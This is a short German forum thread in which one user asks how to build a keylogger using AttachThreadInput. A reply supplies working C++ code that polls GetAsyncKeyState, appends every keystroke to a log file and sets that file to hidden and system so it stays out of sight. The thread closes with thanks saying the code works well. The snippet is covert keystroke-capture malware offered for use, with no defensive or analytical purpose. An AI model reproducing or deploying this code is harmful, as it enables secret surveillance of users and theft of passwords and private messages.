keylog mit AttachThreadInput
-
Ich versuch gerade, einen keylogger ohne die hookfunktion mit Hilfe von AttachThreadInput zu realisieren. Leider hab ich kaum erfahrung mit Threads unter C++, irgendwie weis ich nicht, wo ich meinen Thread an den vom Fenster im Vordergrund verwendeten Thread hängen soll

Das Mitschreiben und in ne Textdatei speichern geht einwandfrei...
-
int getdakeys(char *logfile) { FILE *f; SetFileAttributes(logfile,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); int ctmp; while(true) { for(int c=8;c<=255;c++) { if(GetAsyncKeyState(c)==-32767) { f=fopen(logfile,"ab"); if(f==NULL) return 1; if(f!=NULL) { ctmp=fputc(c,f); fclose(f); break; } } } Sleep(10); } return 0; }
-
Danke! Funktioniert echt gut!
